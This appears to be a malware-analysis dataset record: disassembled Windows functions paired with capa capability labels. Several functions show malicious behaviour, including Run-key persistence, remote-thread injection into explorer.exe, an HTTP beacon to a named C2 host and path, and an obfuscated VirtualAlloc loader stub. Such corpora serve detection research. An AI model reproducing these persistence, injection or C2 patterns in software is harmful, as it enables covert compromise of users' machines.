joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400012c0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x178
mov rax, qword [0x140005140]
xor rax, rsp
mov qword [rsp + 0x160], rax
mov dword [rsp + 0x30], 0x130
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140001303
xor eax, eax
jmp 0x14000135d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140001350
mov rdx, qword [rsp + 0x180]
lea rcx, [rsp + 0x5c]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x14000133d
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x38]
jmp 0x14000135d
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x140001316
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.140001bc0
add rsp, 0x178
ret

Function at 0x140001380
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x168
mov rax, qword [0x140005140]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
inc rax
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x1400050a8]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140001bc0
add rsp, 0x168
ret
Function at 0x140001430
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub rsp, 0x78
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.tdls
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
je 0x1400015d6
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.xmb.pythonanywhere.com
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
je 0x1400015ca
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._c2_razspy
lea rdx, [0x1400050dc]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_HttpOpenRequestA]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400015be
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_HttpSendRequestA]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x1400015b2
lea r9, [rsp + 0x4c]
mov r8d, 3
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x1400015b2
mov eax, dword [rsp + 0x4c]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 4
jae 0x140001565
jmp 0x14000156b
call fcn.140001990
nop
mov rax, qword [rsp + 0x68]
mov byte [rsp + rax + 0x40], 0
lea rdx, [0x140005004]
lea rcx, [rsp + 0x40]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x1400015b2
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
jmp 0x1400015d8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
xor eax, eax
add rsp, 0x78
ret
Function at 0x1400015f0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x68
call fcn.140001000
call fcn.140001380
lea rax, str.explorer.exe
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x58]
call fcn.1400012c0
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
je 0x1400016a8
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400016a8
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [0x140001210]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x14000169c
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
cmp eax, 1
je 0x1400016e2
call fcn.140001430
test eax, eax
je 0x1400016c7
lea rcx, str.Received_OK_from_C2._n
call fcn.140001750
nop
jmp 0x1400016d4
lea rcx, str.No_response_from_C2._Retrying..._n
call fcn.140001750
nop
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
jmp 0x1400016a8
xor eax, eax
add rsp, 0x68
ret

Function at 0x140002304
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000234e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000234e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000234e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000234e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000234e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002350
xor al, al
add rsp, 0x28
ret
Function at 0x14003b980
Capabilities:
Get common file path

Disassembly:
push rsi
push rdi
sub rsp, 0x258
mov rax, qword [0x140199028]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov sil, 1
cmp qword [0x1401adb50], 0
jne 0x14003bbcd
mov rcx, qword [0x1401adb28]
test rcx, rcx
je 0x14003bb11
test byte [0x14019b018], 1
je 0x14003bbcd
cmp byte [rcx + 0x17], 0
jns 0x14003b9d2
mov rcx, qword [rcx]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
mov edx, 4
mov r8d, 3
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [0x1401adb50], rax
inc rax
cmp rax, 1
ja 0x14003bbcd
lea rdi, [rsp + 0x40]
mov r8d, 0x208
mov rcx, rdi
mov dl, 0xaa
call fcn.14008b470
mov word [rdi], 0
mov ecx, 0x104
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add eax, 0xfffffefb
cmp eax, 0xfffffefc
jb 0x14003bbcb
mov rcx, qword [0x1401adb28]
lea rdx, [rsp + 0x40]
int3
mov ecx, 0x18
int3
xor esi, esi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140089560
mov eax, esi
add rsp, 0x258
pop rdi
pop rsi
ret

Function at 0x14003dcb0
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
mov qword [rcx], 0
test rdx, rdx
je 0x14003dcf7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x14003dd11
lea rax, [rdi + 1]
cmp rax, 2
jb 0x14003dcef
mov qword [rsi], rdi
call fcn.14005fd40
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov byte [rsi + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
cmp rax, rdi
je 0x14003dd27
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
call fcn.14005fd40
mov rcx, qword [rsi]
int3
int3

Function at 0x14003dd30
Capabilities:
Terminate process

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x30
mov ebx, r8d
mov esi, edx
mov rdi, rcx
mov rax, qword [0x140199028]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp byte [rcx + 8], 0
je 0x14003dd5f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x14003dd62
mov rcx, qword [rdi]
mov edx, esi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x14003ddb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [rdi + 8], 0
je 0x14003dd85
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
jmp 0x14003dd88
mov rcx, qword [rdi]
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14003ddbf
xor esi, esi
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140089560
mov eax, esi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
test bl, bl
je 0x14003de04
cmp byte [rdi + 8], 0
jne 0x14003ddf0
mov rcx, qword [rdi]
jmp 0x14003ddf9
mov dword [rsp + 0x24], 0xaaaaaaaa
cmp byte [rdi + 8], 0
jne 0x14003ddd2
mov rcx, qword [rdi]
jmp 0x14003dddb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x24]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14003de04
mov esi, dword [rsp + 0x24]
jmp 0x14003de04
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xea60
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
mov edx, esi
int3
Function at 0x14003e330
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
xor eax, eax
test r8d, r8d
sete al
xor ebx, ebx
test edx, edx
sete bl
xor ecx, ecx
mov edx, ebx
mov r8d, eax
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsi], 0
test rax, rax
je 0x14003e3c7
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rsi]
inc rax
cmp rax, 2
jae 0x14003e3b1
lea rax, [rdi + 1]
cmp rax, 2
jb 0x14003e38e
mov qword [rsi], rdi
call fcn.14005fd40
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, qword [rsi]
mov byte [rsi + 8], 1
inc rax
cmp rax, 1
jbe 0x14003e3cb
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
call fcn.14005fd40
mov rcx, qword [rsi]
int3
mov byte [rsi + 8], 1
int3

Function at 0x14004e2a0
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test rdx, rdx
je 0x14004e2dc
mov rsi, rdx
mov rdi, rcx
mov r14d, 0xffffffff
cmp rsi, r14
mov ebx, 0xffffffff
cmovb rbx, rsi
mov rcx, rdi
mov edx, ebx
call sub.ADVAPI32.dll_SystemFunction036
test al, al
je 0x14004e2e6
add rdi, rbx
sub rsi, rbx
jne 0x14004e2ba
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
int3
Function at 0x140054ce0
Capabilities:
Check if file exists

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
cmp qword [rcx], rdx
je 0x140054d28
mov rsi, rdx
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rax, qword [rdi]
inc rax
cmp rax, 2
jae 0x140054d31
lea rax, [rsi + 1]
cmp rax, 2
jb 0x140054d18
mov qword [rdi], rsi
call fcn.14005fd40
mov ecx, ebx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_SetLastError]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
call fcn.14005fd40
mov rcx, qword [rdi]
int3
Function at 0x14006b790
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov ecx, dword [0x14019b050]
cmp ecx, 0xffffffff
je 0x14006b7b5
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and eax, 3
dec eax
cmp eax, 2
setb al
add rsp, 0x28
ret
xor eax, eax
jmp 0x14006b7b0

Function at 0x14006b840
Capabilities:
Get thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [0x14019b050]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x14006b874
mov rcx, qword [rsi]
shl rcx, 4
mov edx, dword [rax + rcx + 8]
cmp edx, dword [rsi + 8]
jne 0x14006b874
mov rax, qword [rax + rcx]
add rsp, 0x20
pop rsi
ret
xor eax, eax
jmp 0x14006b86e

Function at 0x14006b880
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, rdx
mov rsi, rcx
mov ecx, dword [0x14019b050]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
and rax, 0xfffffffffffffffc
je 0x14006b8be
mov rcx, qword [rsi]
shl rcx, 4
mov qword [rax + rcx], rdi
mov ecx, dword [rsi + 8]
mov rdx, qword [rsi]
shl rdx, 4
mov dword [rax + rdx + 8], ecx
add rsp, 0x28
pop rdi
pop rsi
ret
test rdi, rdi
je 0x14006b8b7
call fcn.14003da30
jmp 0x14006b89e

Function at 0x14006b8d0
Capabilities:
Get thread local storage value

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov r14, rdx
mov rsi, rcx
mov qword [rcx], 0xffffffffffffffff
mov dword [rcx + 8], 0
mov ecx, dword [0x14019b050]
cmp ecx, 0xffffffff
je 0x14006b904
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test al, 3
jne 0x14006b909
call fcn.14003da30
mov eax, dword [0x1401af468]
mov ecx, dword [0x1401a8ca8]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x14006b9bd
mov r15, qword [0x1401af460]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
test al, al
je 0x14006ba03
mov rax, qword [0x1401adc58]
inc rax
xor ecx, ecx
lea rdx, [0x1401adc60]
nop dword [rax]
lea ebx, [rax + rcx]
movzx edi, bl
lea rbx, [rdi + rdi*2]
cmp dword [rdx + rbx*8], 0
je 0x14006b97e
inc rcx
cmp rcx, 0x100
jne 0x14006b960
jmp 0x14006b99c
lea rax, [rdx + rbx*8]
mov dword [rax], 1
mov qword [rax + 8], r14
mov qword [0x1401adc58], rdi
mov qword [rsi], rdi
mov eax, dword [rax + 0x10]
mov dword [rsi + 8], eax
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
cmp qword [rsi], 0x100
jae 0x14006ba10
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [0x1401af468]
int3
mov rcx, r15
int3
int3
Function at 0x1400758a0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, ecx
test r8, r8
je 0x1400758cb
xor ecx, ecx
lea r9, [0x140183d00]
movzx r10d, al
movzx r11d, byte [rdx + rcx]
xor r11d, r10d
shr eax, 8
xor eax, dword [r9 + r11*4]
inc rcx
cmp r8, rcx
jne 0x1400758b0
ret

Function at 0x140077410
Capabilities:
Get thread local storage value

Disassembly:
sub rsp, 0x28
mov eax, dword [0x1401b48c8]
mov ecx, dword [0x1401a8ca8]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
cmp eax, dword [rcx + 4]
jg 0x140077445
lea rcx, [0x1401b48b8]
add rsp, 0x28
jmp fcn.14006b840
lea rcx, [0x1401b48c8]
int3
Function at 0x140089975
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rax, rax
sub rcx, 0xd55f
add rax, rcx
add rax, 0xd55f
add rcx, 0xd55f
sub rsp, 0x3f0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
and rcx, 0
add rcx, rsi
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x5aa1
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x441e
lea r9, [0x140085754]
add byte [rax - 0x7d], cl
invalid
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140089a32
je 0x140089a49
insb byte [rdi], dx
cld
add byte [rax], al
je 0x140089a53
jne 0x140089a1d
lea rax, [0x140088f46]
add rax, 0xb32
call rax
je 0x1400899ee
push rsp
ror byte [rax - 0x39], cl
shl dword [rsi], 0x3e
add byte [rax], al
mov rcx, 0x3e26
mov r9d, 0x8d68
mov r10d, 0x92819200
lea eax, [rax]
add byte [rcx - 0x46], al
add byte [rdx - 0xb76d7f], dl
leave
dec rcx
xor byte [rax + rcx], r9b
add r9d, r10d
rol r9d, 1
test rcx, rcx
jne 0x140089a5c
add rax, 0x1ebd
mov rsp, rbp
mov rbp, qword [rsp]
add rsp, 8
ret

Function at 0x1400d5760
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rcx, qword [rcx + 8]
jmp fcn.14007c780
Function at 0x1400df068
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp edx, 0x33ff
jg 0x1400df0b3
add edx, edx
movzx r8d, dx
movzx r9d, word [rcx]
cmp r8d, r9d
ja 0x1400df093
mov edx, r9d
and edx, 0x7ffe
mov eax, 0xffffffff
cmp r8d, edx
je 0x1400df0a1
ret
and r9d, 1
or r9d, 2
lea rcx, [rcx + r9*2]
jmp 0x1400df076
movzx eax, word [rcx + 2]
test r9b, 1
je 0x1400df092
shl eax, 0x10
mov r10d, eax
jmp 0x1400df129
mov r8d, edx
shr r8d, 9
add r8d, 0x3400
shl edx, 6
and r8d, 0xfffe
mov eax, 0xffffffff
movzx r9d, word [rcx]
cmp r8d, r9d
jbe 0x1400df0ea
and r9d, 1
or r9, 2
mov r10, r9
lea rcx, [rcx + r10*2]
jmp 0x1400df0d0
mov r10d, r9d
and r10d, 0x7ffe
cmp r8d, r10d
jne 0x1400df092
movzx r10d, word [rcx + 2]
cmp r10w, dx
jae 0x1400df112
mov r10d, 3
test r9w, r9w
jns 0x1400df0e4
jmp 0x1400df092
xor edx, r10d
test edx, 0xffc0
jne 0x1400df092
and r10d, 0x3f
shl r10d, 0x10
movzx eax, word [rcx + 4]
or eax, r10d
jmp 0x1400df092

Function at 0x1400e7760
Capabilities:
Reference processor manufacturer constants

Disassembly:
push rsi
push rdi
push rbx
mov r8, rcx
xor ebx, ebx
xor eax, eax
xor ecx, ecx
xchg rbx, rsi
cpuid
xchg rbx, rsi
test eax, eax
jle 0x1400e7872
mov esi, eax
mov eax, 1
xor ecx, ecx
xchg rbx, rdi
cpuid
xchg rbx, rdi
mov r9d, ecx
mov r10d, edx
mov r11d, eax
cmp esi, 7
jb 0x1400e77ad
mov eax, 7
xor ecx, ecx
xchg rbx, rbx
cpuid
xchg rbx, rbx
and ebx, 0x20
mov dword [r8], r11d
mov eax, r11d
and eax, 0xf
mov dword [r8 + 8], eax
shr r11d, 0xc
and r11d, 3
mov dword [r8 + 4], r11d
mov eax, r10d
shr eax, 0x17
and al, 1
mov byte [r8 + 0xc], al
mov eax, r10d
shr eax, 0x19
and al, 1
mov byte [r8 + 0xd], al
shr r10d, 0x1a
and r10b, 1
mov byte [r8 + 0xe], r10b
mov eax, r9d
and al, 1
mov byte [r8 + 0xf], al
mov eax, r9d
shr eax, 9
and al, 1
mov byte [r8 + 0x10], al
mov eax, r9d
shr eax, 0x13
and al, 1
mov byte [r8 + 0x11], al
mov eax, r9d
shr eax, 0x14
and al, 1
mov byte [r8 + 0x12], al
mov eax, r9d
shr eax, 0x17
and al, 1
mov byte [r8 + 0x13], al
mov eax, r9d
shr eax, 0x1f
mov byte [r8 + 0x19], al
mov eax, r9d
not eax
test eax, 0x1c000000
jne 0x1400e78a9
xor ecx, ecx
xgetbv
not eax
test al, 6
sete al
mov byte [r8 + 0x14], al
mov ecx, r9d
shr ecx, 0x19
and cl, 1
mov byte [r8 + 0x17], cl
shr r9d, 0xc
and r9b, 1
mov byte [r8 + 0x15], r9b
test al, al
setne al
test ebx, ebx
setne cl
and cl, al
mov byte [r8 + 0x16], cl
mov eax, 0x80000000
xor ecx, ecx
xchg rbx, rbx
cpuid
xchg rbx, rbx
cmp eax, 0x80000006
jle 0x1400e78ad
mov eax, 0x80000007
xor ecx, ecx
xchg rbx, rbx
cpuid
xchg rbx, rbx
shr edx, 8
and dl, 1
mov byte [r8 + 0x18], dl
test dl, dl
je 0x1400e78b3
pop rbx
pop rdi
pop rsi
ret
xor eax, eax
jmp 0x1400e7845
mov dl, byte [r8 + 0x18]
jmp 0x1400e78a1
cmp byte [r8 + 0x19], 0
je 0x1400e78a5
mov eax, 0x40000000
xor ecx, ecx
xchg rbx, rbx
cpuid
xchg rbx, rbx
cmp ebx, 0x7263694d
jne 0x1400e78a5
cmp ecx, 0x666f736f
jne 0x1400e78a5
cmp edx, 0x76482074
jne 0x1400e78a5
mov byte [r8 + 0x18], 1
jmp 0x1400e78a5
Function at 0x1400ed5f0
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x1400ed627
movabs r9, 0xf000000000000000
shl rax, 4
movsx r10, byte [rdx]
add r10, rax
mov rcx, r10
and rcx, r9
mov rax, rcx
shr rax, 0x38
or rax, rcx
xor rax, r10
inc rdx
cmp rdx, r8
jne 0x1400ed601
ret

Function at 0x1400ed690
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
cmp rdx, r8
je 0x1400ed6c8
movabs r9, 0xf000000000000000
shl rax, 4
movzx r10d, word [rdx]
add r10, rax
mov rcx, r10
and rcx, r9
mov rax, rcx
shr rax, 0x38
or rax, rcx
xor rax, r10
add rdx, 2
cmp rdx, r8
jne 0x1400ed6a1
ret

Function at 0x1400f73ee
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x30
mov r12, r9
mov r14, r8
mov rdi, rcx
mov rax, qword [0x140199028]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x20]
mov qword [rax], rdx
mov rdx, rax
call fcn.14005064a
xor esi, esi
mov ecx, 6
test al, al
je 0x1400f7450
or dword [r14], ecx
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140089560
mov eax, esi
add rsp, 0x30
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x1400f755e
movzx eax, byte [rax]
mov ecx, 4
test al, al
js 0x1400f742f
movzx edx, al
mov rbp, qword [r12 + 0x10]
test byte [rbp + rdx*2], 4
je 0x1400f742f
mov rcx, qword [r12]
mov rbx, qword [rcx + 0x48]
mov rcx, r12
mov edx, eax
xor r8d, r8d
mov rax, rbx
call qword [0x1401c1008]
mov ebx, eax
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x1400f7570
inc rax
mov qword [rcx + 0x18], rax
mov ebp, dword [rsp + 0x90]
movsx esi, bl
lea r15, [rsp + 0x20]
add esi, 0xffffffd0
mov rcx, rdi
mov rdx, r15
call fcn.14005064a
test al, al
jne 0x1400f7582
cmp ebp, 2
jl 0x1400f7582
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x1400f753e
movzx edx, byte [rax]
test dl, dl
js 0x1400f7432
movzx eax, dl
mov rcx, qword [r12 + 0x10]
test byte [rcx + rax*2], 4
je 0x1400f7432
mov rax, qword [r12]
mov rax, qword [rax + 0x48]
mov rcx, r12
xor r8d, r8d
call qword [0x1401c1008]
mov ebx, eax
mov rcx, qword [rdi]
mov rax, qword [rcx + 0x18]
cmp rax, qword [rcx + 0x20]
je 0x1400f754f
inc rax
mov qword [rcx + 0x18], rax
lea eax, [rsi + rsi*4]
movsx ecx, bl
lea esi, [rcx + rax*2]
dec ebp
jmp 0x1400f74be
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
call qword [0x1401c1008]
mov edx, eax
jmp 0x1400f74ed
mov rax, qword [rcx]
mov rax, qword [rax + 0x48]
call qword [0x1401c1008]
jmp 0x1400f7531
mov rax, qword [rcx]
mov rax, qword [rax + 0x40]
call qword [0x1401c1008]
jmp 0x1400f7464
mov rax, qword [rcx]
mov rax, qword [rax + 0x48]
call qword [0x1401c1008]
jmp 0x1400f74af
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.14005064a
mov ecx, 2
test al, al
jne 0x1400f742f
jmp 0x1400f7432
Function at 0x69315940
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x69315acb
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [0x69385088]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.69333e00
xorps xmm15, xmm15
mov r14, qword [0x694c13b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x693159a5
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x693159b4
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x693159d3
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x693159e3
cmp rbx, 0x1000
jae 0x693159ab
jmp 0x69315a4d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x693159f5
xor edx, edx
jmp 0x69315a44
mov rcx, qword [0x69385088]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.69333e00
xorps xmm15, xmm15
mov r14, qword [0x694c13b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x693159d9
jmp 0x693159c8
call fcn.69366600
xorps xmm15, xmm15
mov r14, qword [0x694c13b0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.69337e20
lea rax, [0x693b4412]
mov ebx, 0x18
nop dword [rax]
call fcn.693386a0
mov rax, qword [rsp + 0x38]
call fcn.693383e0
lea rax, [0x693b48e2]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.693386a0
mov rax, qword [rsp + 0x30]
call fcn.693383e0
call fcn.69338060
call fcn.69337e80
lea rax, [0x693b6985]
mov ebx, 0x21
call fcn.69336380
nop
mov qword [rsp + 8], rax
